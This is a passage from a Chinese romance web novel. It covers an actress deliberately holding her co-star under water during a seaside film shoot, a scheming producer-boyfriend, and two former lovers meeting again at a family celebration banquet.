都说华星影视这两位大明星最难搞,但她看下来,南寒似乎并非传言的那样,就拿她身边的小杨来说,跟着她已经四年,而她前面这位呢,出道仅两年,助理不知道换了多少,她似乎是第六位,也不知道这份工作能做多久。
直到第一场戏拍摄完成,天上这雨硬是没落下来,乌云一走,夕阳西坠,晚霞横向铺开,云层形成蓝红两色,海天相
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连,水天一色,甚是壮观。
任俞站海崖上跳海是第二场戏,苏洛没走上去而是在沙滩上远远送别她的爱人,海水冲击着礁石盖过了任俞的落水声,任俞解脱了,苏洛泪流满面。
“哥哥!”
亲眼目睹哥哥落水的任菲悲痛欲绝地喊。
任菲跑向海里,海水淹过了她的脚踝,她哭叫到嗓子嘶哑,无边无际的大海,她的声音被送的很远很远,消散在此起彼伏的浪声风声之中。
涨潮的海水没过了任菲的小腿,眼角余光掠到站在她斜后方的苏洛,失去亲人的痛彻心扉让任菲失去了理智。
任菲把亲人的死归咎在苏洛身上,她踉踉跄跄地跑向苏洛,一把攥她的衣领,生拉硬拽地将她往海里拖,心如死灰的苏洛仿佛一具没有气息的尸体,随她把自己推进海里。
涨潮海水目前只到演员的小腿位置,镜头外面守在五米以外的工作人员就是为了以防突发情况,两位演员自家助理手臂上各挂着一条毛毯,只等导演一喊卡马上去给她们围上。
这时候任俞的好友陈韦森出现在第二监控器里,陈韦森大跨步向两人跑去。
第一监控器里苏洛落水后双膝跪在地上,水漫到她的腹部,按照剧本任菲应该是又哭又笑地旁观,可屏幕里里任菲突然从侧弯下身抓住苏洛头顶的头发用足力气把她往海水里按。
凌导吓得弹起身,当亲眼所见施漾把南寒一次又一次按入海中,近乎报复性的行为时他吓得差点心跳骤停,外围的工作人员还没发现事态严重性,都以为是剧本里的剧情。
凌导拍桌子站起来,摘下监听耳机,另边的副导演跟他一块起身。
演陈韦森的演员心思细腻,一样发现不对,他一个箭步冲过去,抓住施漾的摁住南寒头顶的那只手臂往后拉,施漾像如梦初醒,松开手,被这股力量带的,撞到面前这个男人身上。
而孟秦书被施漾接连摁入水中喝了不少海水的她,一切来得太快,连呼救的时间都没给她,海水一冲进耳朵,只剩耳膜胀痛耳鸣嗡嗡地袭击而来,接下来就懵掉了。
孟秦书往后侧摔进海水里,一道身影蹿到她右侧,他一把握住她的胳膊,一下子把她从水里拽起来。
来人正是凌导,外围十几个人竟还没他一个有六十多岁的老头子反应快,反而是在凌导出现后近处的、远处的、工作人员才从方多个方向聚集过来。
小杨忙把毯子披在魂不在体的孟秦书身上,另一边的施漾身子瑟瑟发抖,小助理及时给她披上毯子。
“怎么回事!”凌导严厉地质问施漾。
施漾这个演员是出品方硬塞进来的,和南寒是一家娱乐公司,任菲虽是个女配但戏份并不少,而且高光戏份有两场,凌天接收进来前评估过任菲的表演水平,在青年演员中演技中规中矩,他也就勉为其难的接收了。
“对不起,我我太入戏了。”施漾垂下眼,眼睫颤的厉害,泫然欲泣的样子,看上去害怕极了。
施漾有一张清纯无辜的脸蛋,在娱乐圈不多见,低眉顺眼时惹人怜惜,不忍责怪,纵使素来以严厉著称的凌导都说不下去重话。
可令所有人猝不及防的是南寒会当着凌导的面一巴掌罩在施漾脸部正中间,施漾还没叫出声,就被南寒推着往海水深处走,结果没走几步,施漾脚拌脚向后倒,一屁股坐在海水里。
孟秦书看见水底下施漾张开的五根手指,她面不改色的踩下去,狠狠碾,施漾“啊”地一声惨叫,孟秦书方才松开脚,施漾怕她再踩,两只手一起缩回去,藏在身体背后。
换作只有两人的私下,施漾一定回击,但这么多人在,她需维持自己柔弱绵软的小白花形象。
围观群众半张嘴,两个一线女明星不顾旁人互斗比看戏更精彩。
只有小杨知道南寒姐是在报今年年初施漾骗她,故意说把她手机扔泳池里的仇,这两人明争暗斗很久。
南寒姐是那种人不犯我我不犯人的性格,而施漾顶着一张柔弱会装可怜的脸蛋,算计她不止一次了,好在公司里向着南寒姐的人更多。
凌导身边的副导演向施漾伸出援手。
无人关注到,一辆黑色宾利车自东向西行驶而来,绚烂无比的晚霞给黑色车身镀上一层流光溢彩。
车缓慢停下来,后车门自内推开,车上下来一个温雅挺拔的男人,车门一关,男人用关门这只手的中指推了推金丝眼镜的鼻托,他从人群中间的缝隙望进去,一眼看到了摔在水里的施漾,他的眉心不悦地压下。
4. 庆祝宴
若非男人自报姓名,孟秦书是怎么也无法把以前那个张明阳和眼前这位穿深灰色西服套装,瘦削、文质彬彬的男人联系到一起。
那时的张明阳身材微胖,面部轮廓圆润,却不是像大部分胖的人那样看上去随和憨态,因为对张明阳初印象不好,孟秦书没有认真看过他的样子。
现在回想起来,张明阳那会儿即使有些许胖五官也是好看的,只不过那时候的张明阳眉宇之间总有一股阴郁气。
当眼前这张脸和脑海里这张脸重叠,孟秦书确认张明阳没有整过容,确认只是胖瘦之分。
张明阳是靳子煜名义上的哥哥,两人是重组家庭,没有血缘关系,孟秦书以前听靳子煜说起过,张明阳把他母亲跳楼身亡这件事怪罪在他母亲头上,所以连带着一起厌恶他。
孟秦书还听靳子煜提过一句,张明阳之所以会发胖,是因为他有抑郁症,遇到让他不痛快的事他就会不停吃蛋糕类的甜食。
而今张明阳瘦下来了,所以是他的病好了?
那么他现在还针对靳子煜吗?
张明阳伸出的右手以在半空停留近一分钟,他没发现孟秦书在走神,以为孟秦书还记着两人以前的过节,不愿搭理他,他唇角极淡地弯了弯,不甚在意,慢慢放下这只手。
他看了眼身侧即使裹着毛毯仍在打抖得施漾,再看向孟秦书旁边这位大导演,他礼貌询问,“导演,天黑了,宁宁前两天刚得过感冒,身体还未完全痊愈,今天能否先暂停拍摄?不怕别的只是担心病情加重,影响到后期拍摄进度。”
现在是十月底,已到了昼短夜长的时节,天边最后一抹余晖被黑暗侵袭,又因为是在海边,风势渐大,白天二十多度,现在估摸不超过十度,寒气袭人,常人都受不了更不要说是娇弱的女明星了。
只是这位是谁?
看着像是大有来头。
人群面面相觑,眼神互递,似是在问谁有小道消息。
他和施漾又是什么关系?
宁宁是施漾的小名吗,还挺暧昧的。
凌导一心只在扑在他的作品上,没群众那颗八卦心,但他认同张明阳的话,点点头说:“大家今天回去吧,明天下午补拍第二场,完成第三场戏,今天大家辛苦了。”说完他往回走,继续坐回监视器前,其他工作人员一听可以下班,作鸟兽散,回去收拾拍摄工具,陆陆续续撤离。
上次饭局上凌导见过张明阳,是这部电影的最大出品人,但他绝非因张明阳投资了他的电影而刻意去附和,只因为张明阳的提议正是他所考虑的。
他对自己的作品向来有信心,在他的观念里,你投资我的电影是认同我的作品,而不是说我求你来投资我的电影。
盯着大监里回放的第二场戏,凌导眼前出现这两个女人的战争。
南寒哪怕反击都是有分寸的,她知道第二场戏会补拍,没把施漾弄毁容是为了不影响她后面拍摄,踩施漾的手并不会耽误摄制组进度。
他因无语而失笑,什么入戏太深,这两人一看就是积怨已久,这点表象看不出来的话,那他真的枉做三届奥斯卡评委了。
孟秦书裹紧浅黄色毛毯,只露出一截曲线优美的天鹅颈,湿发几绺黏在她白惨惨的脸庞上,她紧着步子往房车方向走,小杨亦步亦趋跟住她。
落下她们老远一大截的施漾,她让小助理先走,张明阳随即搂住她纤细的腰肢,施漾用没受伤的手攥住胸前的毛毯,上半身几乎是半躺进他怀里的。
“你怎么来了?”施漾娇滴滴地问。
去往另个方向的工作人员,因他们俩亲密的举止,频频偷瞄他们。
无视掉这些可有可无的人,张明阳环在施漾侧腰上的手一紧,口气无奈中带点哄,“女朋友生气了,不得过来看看。”
施漾压不住翘起的唇角,她昨天喝了点酒心情不好,在电话里对着张明阳抱怨他不关心她。
这个对外温和有礼,考虑周到的男人,对她没有多少耐心,听了不到三分钟他就给她的电话掐掉了,再打过去只剩下一遍遍重复的“你拨打的号码已关机”。
施漾认识张明阳有三年,打从张明阳递给她纸巾那天起,她就喜欢上了这个男人,但她和南寒可不一样,她认识张明阳时他已离婚,他们正式在一起两年有余。
她想张明阳是爱她的,就拿这次这部电影说,她想通过这部电影扩宽以后的戏路,张明阳鼎力支持她,她得偿所愿的进入该剧组。
边往宾利车那儿走,施漾边把刚才差点把孟秦书淹死的事情说给张明阳听,听她说完,张明阳不自主地发笑,“你这是要杀了她?”
施漾抬抬头只看得到张明阳锋利的下颌角,“那我不成杀人犯了?我可不想坐牢,只是想让她吃点苦头而已。”
而她没讨到好。
手到现在还疼得厉害。
两双脚踩在沙滩上脚底下发出沙沙声响,右手从她腰肢揽到她肩头,张明阳嘴角从始至终都带有笑意,淡声说她,“下次别当众做这种事,平时挺拎的清的一个人,今天是怎么回事?”
即将到车前,施漾忽然止步,张明阳跟她一块停下,施漾直起腰在他怀里转身,静注这张不输明星的面孔。
不,张明阳比他们有魅力多了,圈内那些男明星无论年龄大小都要看人脸色,装乖装孙子,而他是站在高处的人,从来只有别人仰视他的份。
“我只是……想到我姐,一时气愤过头了。”
施漾的姐姐是这个顶着南寒艺名,真名叫孟秦书的女人间接害死的。
司机推门下车,张明阳一个眼神让他回去,司机还算机灵,赶紧钻回去关上车门。
“我还以为你是忘了呢。”
张明阳左边镜片上闪过海上灯塔上射灯白色灯光,施漾呼出一口气,语带几分无力,“去年散播她在T大的黑料,不过十分钟就被全撤了,只要霍清辞在,我们动不了她。”
她当然记得自己的进娱乐圈的初衷——把孟秦书踢出这个圈子。
只是施漾进圈后才知道孟秦书后方那位背景如此强大。
张明阳双手放在施漾两边肩头,劝慰她,“来日方长。”
沙滩上的工作人员基本已经撤回车里,远处两位导演还坐在监视器后,屏幕一闪一闪,两位导演的脸亦是忽明忽暗,风声、浪花声,加之相距数十米,他们是听不到他们对话的。
施漾回收视线,继续观赏眼前这张脸,他的话她听进去了,稍作沉吟后道,“我从来没有忘记。”
*
孟秦书回到海城已经是三天后。
下午三点她要开车去西山岛上的澜庭酒店,参加霍绫晨高二奥赛金奖庆祝宴,趁还有五个小时,孟秦书赶紧睡个回笼觉。
这次庆祝宴霍清辞是于十天前给她打的电话,说是请了亲朋好友一百多号人,孟秦书挺惊讶的,这么高调张扬,不像是霍家人的风格。
于这周日
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,孟秦书给霍绫晨发了条文字恭喜他,很快她收到霍绫晨哭唧唧的语音回复。
【小书姐,我都不知道我哥这次怎么了,一定张罗着要给我办这个事,他说他要替我收份子钱。】
份子钱。
孟秦书被逗乐了。
她发了个捂嘴笑的表情包。
霍绫晨哀怨道【小书姐,丢人的是我啊,什么份子钱,我哥像是缺那三瓜俩枣的人吗,关键是嫂子、爸妈所有人都支持他,我无法想象到那天我该如何自处,我现在已经想挖个地洞把自己埋了。】
霍绫晨今年十五岁比霍清辞小了整整十八岁,都说长兄如父,霍清辞很疼这个弟弟,不过这次确实稀奇,听过生日宴、升学宴、还没听说过获个奖还要宴请宾客的,关键从小到大霍绫晨各种奖项拿了个遍,霍清辞会不会是要借这次宴会宣布什么事情?
孟秦书想得有点多,差点忘了回复霍绫晨,忙发了条语音过去安抚他【绫晨你哥是替你高兴,虽说他是有点没有考虑到你的心情,嗯……改天我给你说说他。】
霍绫晨语音马上追来【小书姐,你别去说我哥,我没有怪他的意思,只是……小书姐听过尴尬到脚趾抠出三室一厅这句话吗,我目前是这个感觉,但心底是感动的,因为我哥真的对我很好。】
孟秦书眼眶微湿,十五岁小孩都懂的事情,而她当年却仗着霍清辞对她这个妹妹的无限偏爱,一次次语言重伤他,但他从没怪过她一句。
而事实上她只是个跟他半分血缘关系都没有的妹妹。
若不是霍清辞……她说不定都不再这世上了,她欠他得数不清也还不清。
孟秦书先去洗了个澡,回来没有新进来的微信,她把手机放在床头柜上,掀开被子躺了进去。
窗帘是智能声控的,她说了句“拉上窗帘”,窗帘自动从两边向中间闭合。
无论白天还是黑夜,孟秦书习惯拉窗帘,关大灯,只留床头柜一盏小灯睡,这些年时常日夜颠倒,只要困意来了,倒头就能睡着。
*
下午一点的课在小教室上,一个半小时的课,被学生追着提问,拖了二十分钟的堂,到二点五十分才结束。
靳子煜拿起教科书就走,一个电话进来,他被迫停在门口,他把书换到拿手杖得右手夹住,左手从黑色皮夹克口袋里掏出手机,滑动接听。
“子煜,我们从康复科廖主任提供上来的DA仿生手臂实验报告上发现,我们这款产品存在一个程序BUG,我和研发组查了快一整天都没查出问题,你现在方便过来一趟吗?”顾远在电话那头一口气把话说完。
靳子煜下意识地去看手机左上角的时间。
马上三点了,他现在要去一个开车需两小时才能到的地方赴宴,如果现在回公司,查数据BUG,宴会指定是去不成了。
亲口答应人家的事,更何况今天要见的还是多年未见的朋友,临时改主意怕是会让这位朋友不悦。
可是,DA仿生手臂是海外定制产品,目前都到了实验阶段,合同约定的交期比较紧张,定在十一月五号,也就是说还有一周。
今天这个数据BUG不去解决,项目进度会延迟,耽误交期违反合同,外国人看中契约遵守,一旦未在规定期限完成,将面临巨额违约金。
靳子煜陷入两难境地,学生们见他堵在门口,纷纷改道从后门出去。
“子煜?”顾远奇怪怎么没声音,“你在听吗?”
5. 来迟了
高速路上出现重大交通事故,两个小时的路程,开了三个小时,赶到西山岛已经是六点,天色黑蒙蒙,还下着淅淅沥沥的小雨。
酒店在半山腰,内部道路两旁梧桐树郁郁葱葱,草丛里一盏盏明黄色小灯,排列整齐,指引车辆一圈一圈围绕山体行至酒店正大门。
孟秦书来得晚,露天停车场车位已基本占满,结果停个车还遇到了堵车,有人敲敲她的车窗,她降下车窗,车外是一位穿着酒店西装,外套黄色反光马甲的泊车人员。
她婉拒了。
她的私物不喜被人经手。
孟秦书开的是一辆明红色中长型轿跑,两年前买的,买时她不知道这个牌子,只觉得这车合她眼缘。
三百多万,她全款买下,接待的小姑娘乐得嘴都合不拢。
靠自己和靠别人完全不一样,自己种下的种子,看着它发芽到结果实,采下尝一口,是满足、自豪。
车停在最后排的停车位,孟秦书推开车门,抽出车门里放置的一把长柄红伞。
一摁伞柄上的键打开伞,孟秦书把伞举过车门,外面的雨势还不小,雨水顺着伞骨连成串的往下滴落。
正准备从车里出来,一道强劲刺眼的白光照到她车的前挡风玻璃上,她车旁边还有两个空车位,看来这辆车是要停进来,孟秦书赶忙从车里出来,给该车让位,方便他停车。
抬高伞面孟秦书往斜前方走,这辆车正在倒车,她加快脚步从这辆车车头前过去,余光里这辆车的车主似乎重重踩了一脚刹车,车身还摇晃了下,可能是个新手,踩刹车不知轻重,和她第一次开车上路时一样。
高挑纤薄的倩影左拐后便看不见了,车停进车位,靳子煜没有熄火也没立即下车而是侧头从右车窗望出去,隔着一个空车位,他定定地看着孟秦书开来的这辆红色轿跑。
他比孟秦书大一岁,两人在一起三年,他于最后那年秋天买了一辆十多万的大众,是为了方便海城、T市来回跑,也为了只要她需要自己,随时随地能到她身边。
他是在海城读的研究生,大三第二学期末,原本计划大四开学报名海城大学生物医学工程专业的他,收到一封来自海城大学黄鹏院士的邮件。
黄院士的意思是看了他过往的学习经历,也从他导师那里对他有了初步认识,若他愿意加入他的团队,非常欢迎他。
黄院士是生物医学工程领域的领军人物,没想到黄院士会主动联系他一个名不见经传的学生,而且他本身学的是计算机,对生物医学工程他所知浅显,这让他一度怀疑是不是在做梦。
在跟自己的老师确认过后他马上写了一封长长的信回过去,一小时后黄院士回复他,会给学校写推荐信,欢迎他的加入。
但因为这事,孟秦书和他发生了冷战,孟秦书不希望他去海城读研而是希望他留在本校读研,这样两人可以不分开,而他考虑的是将来,更何况这么好的机会,怎么能错失,仅此一次他没有参考孟秦书的的想法。
那时候是他们谈恋爱的第一年,正是蜜恋期,他是T市本地人,在T市有套老房子,因为母亲不常来,这套房子成了两人的家,除去各自上课时间,两人几乎形影不离。
而冷战那段时间孟秦书搬回来宿舍住,但他总是去‘骚扰’她,给她讲自己对未来的规划,想给她什么样的生活,终于在一周后,孟秦书被他说服,原谅了他。
那天两人坐在沙发上,孟秦书慢慢躺下来,枕着他的双腿,仰面看着他,他亦垂眸和她目光相交,孟秦书低低地说给他听:“子煜,我知道你是为了我才去的海城,只是......我还有两年才能毕业,我已习惯每天见到你,你后年去海城上学,那一年我不知道该怎么办了。”
她素白柔软的指尖触到他眉上,描绘他的眉骨,“但....我想明白了,我不会再阻拦你,一年而已,我们可以每天视频,我回家的话,还能顺道去看看你,但你要答应我,不能喜欢别人,如果有人跟你告白你一定要严词拒绝。”
他握住她的手和她保证,“靳子煜保证只会喜欢孟秦书,除孟秦书我不要任何人。”
当时他觉得她的想法好可爱,她眼里的他仿佛是一件稀世珍宝,人人都要和她抢夺似得,那时她真的好爱他。
白光从靳子煜眼前晃一下过去,他失神的双眼焦距重聚,一辆接一辆车从他车窗外开过,漫天雨丝,车轮碾压过湿漉漉的地面,车内能听见细微的声响,靳子煜抬起左手看了眼腕表上的时间。
18:40
堵车来迟了。
*
今天很多人都迟了,宴会开场时间推迟到晚七点,霍清辞久等不到靳子煜,独自坐电梯下楼,刚到大厅门口便撞见一脚迈上台阶的靳子煜。
靳子煜上身一件挺括的黑色皮衣,裤子亦是黑色,内搭的深棕色衬衫,更衬他白皙肤色,使他整个人光华内敛、气质斐然。
阔别已久的见面,令霍清辞眼前一亮。
靳子煜左手一键收伞,酒店迎宾再次上前来,刚才靳子煜上台阶时,他一手撑伞,一手拿手杖,走得有些不容易,这位迎宾看见上前询问需不需要帮忙,他能自己克服的事不想麻烦他人便摇头拒绝了,这次迎宾跟他说可以把伞交给她,他浅浅勾唇表示感谢,把手里的伞给到她手里。
迎宾拿伞走开,霍清辞马上上来,拍拍靳子煜被伞外飘进来的几滴雨打湿的肩头:“好久不见,靳子煜。”
他们不止七年,最后一次见面是霍清辞来医院看他,应该是七年半。
霍清辞一样穿的休闲,墨青色休闲西装,同色系长裤,没有系领带和扣扣子,敞开的衣襟里面是一件黑色、质地高级的衬衫。
靳子煜和霍清辞有联系是因为孟秦书,那几年,他和霍清辞见面的次数五根手指都数的过来,霍清辞比他们都大几岁。
两人第一次见面,是两人因孟秦书的事,同去派出所,霍清辞邀请他坐自己的车,并绅士地替他开车门,去往派出所的路上由霍清辞起头,两人有一搭没一搭的闲聊。
这是他第一次对豪门贵子形象有具象化的认识,霍清辞开口爽朗中带点不羁,但他完全没有因家世而自觉高人一等的矜傲气,是个教养极好的人。
那是当年他眼中的霍清辞,而今的霍清辞贵气自不用说,眉目愈发锋锐,周身散出淡淡威严以及一股成熟稳健之势。
“好久不见,霍清辞。”靳子煜说。
靳子煜换了只收拿手杖,然后从皮衣内置口袋里摸出一个红包,递给霍清辞。
霍清辞看到这个有一个硬币高度的红包,愣了愣,旋即笑笑接过去,“那我替我弟——。”
“哥!”
霍绫晨小跑来找霍清辞。
霍清辞伸手握住霍绫晨手臂,拉到自己左侧,笑着说:“绫晨快谢谢子煜哥哥,子煜哥哥给你包了个大红包。”
“谢谢子煜哥哥。”霍绫晨鞠躬致谢。
时间太长了,靳子煜记忆力算好的,都记不清霍绫晨八年前的长相,只对他外形的有个模糊印象,那时候做小花童的霍绫晨大概一米三四,没想到现在都已经蹿到霍清辞眼睛这里了。
靳子煜微笑,“不用谢。”
今天霍清辞包了整栋酒店,来这儿的宾客自然都是受他邀请而来,眼下以没人再上来,看来是都已都到了,霍清辞把手里的红包塞入霍绫晨手中,叮嘱:“绫晨,你先上楼,我还有些话和子煜哥哥说。”
霍绫晨很听他话,嗯了声转身就走,霍清辞想到什么,追着霍绫晨背影添一句,“上楼把红包交给你嫂子知不知道。”
霍绫晨重重点头走得更快了,霍清辞敏觉背后有双眼睛在盯着他,一转头看到靳子煜面色如常温和,只是眼神微妙,霍清辞煞有介
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事道,“我太太当家。”
说罢,霍清辞向靳子煜做了个请的手势,“靳子煜一起走。”
靳子煜抿抿唇有一丝很淡的笑弧,率先先抬步,迎宾拉开小门,两人肩并肩进酒店。
大堂内因只有两人在穿行,脚步声叠加手杖敲击地面发出的“垛垛”声,分外清楚抓耳。
步入电梯间等电梯时,霍清辞正面对电梯门,玻璃梯门上照出两人不是那么清晰的身影。
曾经架拐和他一样高的靳子煜,拿掉拐杖比他高出了两三公分,靳子煜依旧如当年谦和温润,似乎变了又似乎没变。
只不过那时候一身少年气,可到底是过了这么多年,现在的靳子煜举手投足间更具有成熟男人的魅力,想必一定很招女人喜欢,难怪小书担心他结婚了。
霍清辞侧转脸看靳子煜说起邀请他来这件事,“那天给你打电话,就觉得这事办的唐突,靳子煜感谢你能专程来这一趟。”
靳子煜回看霍清辞,他专程来这一趟也有目的,“霍清辞,两年间我一直想找个时间,亲自跟你说一声谢谢,怎么会唐突,而是我要感谢你给我这个机会。”
感谢他?
霍清辞略感诧异,不明靳子煜要谢他什么。
电梯门开了,霍清辞等靳子煜进去,他在跟进,两人侧站面对面,门闭合上之后靳子煜抿下唇线,不紧不慢道,“我当年一直以为是我的老师向黄鹏院士举荐的我,去年我去给黄院士祝寿,他老人家与我闲聊起来说,是他的恩师纪维南院士亲自发话让他带带我。”
霍清辞听见外公的名字,眉梢微扬,他仍然挺讶异靳子煜怎么猜出来得。
靳子煜继续说,“我并不认识纪维南院士,后来我和我大学时的老师打听,老师说纪维南院士功勋卓著,是位非常伟大的科学家,我想起曾经你问过我有没有考研的打算还跟建议我可以去考海城大学,我便想到一定是你在背后帮我。”
“是我外公”霍清辞承认,但是他要说,“但靳子煜你有今天的成绩是靠的你自己。”
靳子煜不是二十出头的愣头青,不会不知好歹地因为霍清辞帮他,让他觉得丢脸面反过来怪霍清辞。
能跟在泰斗级别的黄院士身边学习,所收获的学术知识和科研能力,这些宝贵的经验,足以让他受益终身,所以霍清辞对他的帮助是巨大的。
必须要亲自向他道谢:“霍清辞,谢谢。”
电梯到了五楼宴会厅,霍清辞轻点头接受靳子煜的道谢,两人一前一后拐出电梯间,快到宴会厅大门,霍清辞想想还是叫住靳子煜。
靳子煜转一半身体对上霍清辞的眼睛,通道里灯光微微发黄,不时有酒店服务人员走上来,跟他们颔首后放轻脚步从他们旁边经过。
霍清辞:“靳子煜小书这些年一直单身。”
温润黑亮的眼眸瞬间笼罩上一层薄薄的迷雾,靳子煜似在思索他为什么突然说这句话。
“阿辞,还在外面做什么,开始了。”唐蔓自厅内出来,她眼里只有霍清辞,没注意到背部朝她的男人。
高跟鞋踩在瓷砖地上哒哒哒响声清脆,唐蔓上来转个身挽住霍清辞的手臂,跟着看到了眼前这个有些眼熟的男人。
唐蔓知道阿辞邀请了小书的前男友,所以这是小书的前男友?
几年前和阿辞婚礼上她对小书的男朋友记忆蛮深刻的,那张脸无可挑剔,唯一的缺点就个残疾人,没想到多年过去,变化还挺大,最直观的是他身体完整了,看着很像健全人。
穿黑白针织小香风连衣裙的孟秦书从大门出来,她也是来找霍清辞的,搜寻的眼神一聚看到了霍清辞,“哥—”
下一秒,她被一个熟悉刻骨的黑色背影引走目光,未出口的话瞬间哽在喉咙里。
靳子煜听到属于孟秦书的声音,身子蓦地一僵,握手杖头的指尖下意识地使劲。
6. 算计
夹烟的这只手搭在沙发扶手上,手指修长莹白,青白色烟雾在指缝间缭绕,烟头燃着猩红的光。
霍清辞靠在单人沙发上,长腿交叠着,神情倦怠,唐蔓从橱窗里取了一瓶矿泉水,边拧盖子边往回走,“字画、红包、卡这些东西你打算怎么处理?”
两张单人沙发中间有一张方形小茶几,唐蔓把矿泉水放小茶几上,她下意识地往关着的那扇门斜看一眼,随后坐另一张单人沙发,说起另件事,“刚才小书和她前男……靳子煜杵门口跟仇人对峙似的,靳子煜脸上冷冰冰的,我看小书眼眶都红了,我觉得挺难堪的,我早就说过让你别好心办坏事。”
霍清辞放下左腿,坐起来,手里只剩半截的烟,摁在烟灰缸里,他回答唐蔓上个问题,“那些东西,我会让时秘去处理,靳子煜的红包,我收得下,先放你那儿,到家了给我。”
烟灰缸里摁灭的烟头仍有黑雾飘出来,霍清辞侧眸看了眼小茶几,扭动上半身面朝茶几,拿起上面的药盒。
他打开药盒,先把里面的药片包装铝箔抽出一半,摁出一粒胶囊放入左手手心,再用这只手拿起矿泉水,要拧盖子时发现瓶盖已经转开了。
霍清辞嘴角几不可察地斜斜勾了下,拇指弹掉盖子,盖子在桌上转了好几圈停下,他又把瓶子换到右手,胶囊塞入嘴中,喝一口水咽了下去。
放下矿泉水瓶,霍清辞拿起盖子盖在瓶口转几下拧紧,唐蔓给小姐妹发完一条信息,手机放在桌面上,弯下身揉揉酸胀的小腿肚。
每次出席重要活动,她都要穿近十公分的高跟鞋,谁叫她矮呢,尤其是站在霍清辞身边,不穿高跟鞋的话,跟他说话只能仰望。
“阿辞,我们出去吧,别让他们久等了。”
唐蔓发信息时注意到手机左上角的时间是20:00,虽说都给宾客安排好了房间,但总有人不愿意留在这里过夜的。
他们今晚也得回去,明天下午阿辞又要飞美国,还有许多事等他回去处理,父亲于三年前把北美那边的境外事务都交托给了他,对他来说无论是脑力还是精力都是一大挑战。
而她这次不能跟着他跑了,台里临近年关,事务繁杂,她脱不开身。
霍清辞瞅着她弯下去的背说,“以后少穿这种鞋子。”
说过很多遍了。
唐蔓换一只腿揉,“我平时去上班又不穿高跟鞋。”
两人说着话呢,门从外面推进来,霍清辞母亲纪兰进门就问霍清辞,“怎么吃到一半跑回来了?”
唐蔓挺起腰替霍清辞回答,“妈妈,阿辞回来吃药,我小腿有点酸,回来休息会儿。”
霍清辞起身离开沙发,纪兰从霍清辞身旁过,坐他这张沙发,扭一半上身关切道:“曼曼,累的话,别去了,妈妈陪你。”
“妈,我先出去了。”
“阿辞。”
霍清辞才踏出一步被纪兰叫住,纪兰对他说:“阿辞,曼曼她爸爸生病住院了,你明天陪曼曼去医院看看他。”
唐蔓没和任何一个人说,但两家常有来往不可能瞒得住。
“你爸怎么了?”霍清辞问唐蔓。
唐蔓回,“血糖有点高,不是大问题。”
“住哪里?。”
“武警医院。”
“明天八点我过去看你爸。”丢下这句话,霍清辞自顾自走了。
*
霍清辞在阳台找到靳子煜,阳台上没有灯,只有宴会厅内斜洒进来的白光,霍清辞远远看着靳子煜没有立刻上前。
靳子煜坐在白色铁质靠背椅上,右手夹住烟,烟浅咬在嘴里,鼻尖一点火星,影影绰绰。
萧索、寂寥。
霍清辞蓦地想起最初认识的靳子煜,那时候的靳子煜不会因身体残疾而自卑,阳光自信的笑容时常挂在脸上,是个自信昂扬的年轻人。
霍清辞至今记得校运会时靳子煜当着全场近万人的面,单膝下跪向小书送出手里的花,这幅画面是出现在大屏幕上的,虽听不见两人说了什么,但靳子煜不惧他人眼光,把自己全部的爱意送到小书面前,是他看到这个男人的最大诚意。
后来全校都在传,靳子煜向孟秦书表白,孟秦书同意了。
那几年,小书是发自内心的开心,小书曾对他说过,只有跟靳子煜在一起,她的这颗心才感觉是活得是热得。
人是很神奇的物种,一旦被人盯着,哪怕是盯着后脑勺都能觉察的出,靳子煜就有这种感觉,他向左偏点头,看见了厅内正在盯着他看的霍清辞。
靳子煜抬下巴看霍清辞,霍清辞在他注视下,几步走进来,拉开椅子落座。
霍清辞说起一件往事,“还记得那时候,我给你递烟,你说你不会抽烟,烟龄有几年了?”
靳子煜在烟灰缸上掸了掸烟灰,葱白的手指夹住没在抽,想了下记不清了,“可能三年也可能四年,记不得了。”
霍清辞右腿架左腿上,身子往前倾一些,挑眉问靳子煜,“靳子煜雪茄抽吗?口感更浓郁,醇厚,另有一番风味。”
靳子煜似在思考,霍清辞替他做了决定,他站起来走到移门中间,招手叫来服务员,霍清辞对这位女服务员说“Cohiba”雪茄的牌子,服务员回了句好的先生,马上跑去拿。
山里的晚上,没有城市的霓虹灯,黑的彻底,霍清辞举目望远,毛毛细雨持续在下,如同无数根银针同时落下,今这雨恐怕停不下。
只是不够大,困不住想回去的人。
“靳子煜今晚住这里吧,我作为东道主,我请你们来要负责你们的安全,”霍清辞回头看靳子煜。
“不了,霍清辞。我明天一大早还要去公司。”靳子煜把剩下的烟蒂摁进烟灰缸,抬头说,“我在这里就是等你来就是为了和你道个别。”
霍清辞重新落座,薄唇抿紧,像是思考一番后道,“你开了家公司?”
靳子煜点头,“和一个朋友合伙开的,初创公司,没什么规模。”
服务员端着托盘送来雪茄,霍清辞食指裹住雪茄拿起来,服务员俯身用专用打火机点火,一缕黑烟往上空走,雪茄点着了。
霍清辞让靳子煜试试,靳子煜拿到手里,那位服务员侧身来为他点火。
“我第一次抽雪茄呛到肺里,咳嗽咳了有五分钟。”他提醒靳子煜,“靳子煜雪茄不过肺,需通过鼻腔和口腔品味其香气,你试试。”
靳子煜吸了一口,只不过霍清辞的经验之谈对他毫无用处,一口送进了他咽喉深处,他猛烈地咳嗽起来。
“咳咳!!”
霍清辞深吸一口,鼻腔哼出,烟雾弥散开,第一次抽难免的,他阴谋得逞似的地眉开眼笑。
霍清辞对跟前这位服务员做了个举杯喝酒的手势,服务员会意立即就去拿。
“咳咳!”靳子煜全脸通红,止不住地咳嗽。
服务员来得及时,霍清辞放下雪茄,给服务员一个赞许的眼神,接过来七八分满的红酒杯子,霍清辞手扶红酒杯碰了碰靳子煜的手,“靳子煜来喝一口。”
靳子煜真的信了,看都没看,握住杯脚,昂起脖子,杯壁贴着嘴唇,是准备一口闷的,可液体一进喉咙靳子煜发现味道不对,又苦又辣,是红酒!
靳子煜吐出喉咙里的液体吐进杯中,但已经来不及,他已喝进去一大口,靳子煜眼里充盈了咳出来的水光,咳嗽是不咳了,可他喝酒了!
放下酒杯,杯壁边缘上的红酒液往下淌,蜿蜒淌进余下三分之二的红
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酒中。
霍清辞摆两下手让服务员回去,然后这只手伸入外套里面的口袋,拿出一张印有酒店名的深蓝色房卡,推到靳子煜手指前。
靳子煜方才知道被算计了,可霍清辞到底为什么这么做!
靳子煜在用眼神问他“为什么”,霍清辞敛眉正色道:“靳子煜放你大晚上回去,我实在不放心,今天住这里,养足精神,明一早回去。”
*
整面落地窗前,穿着酒店真丝睡袍的孟秦书抱臂俯视楼下,里面亮外面黑,窗玻璃跟镜子似的照出她整个人。
酒店所有房间是朝南的,白天能看见底下的露天停车场,晚上丁点都看不见下面。
这会儿靳子煜回去了吗?
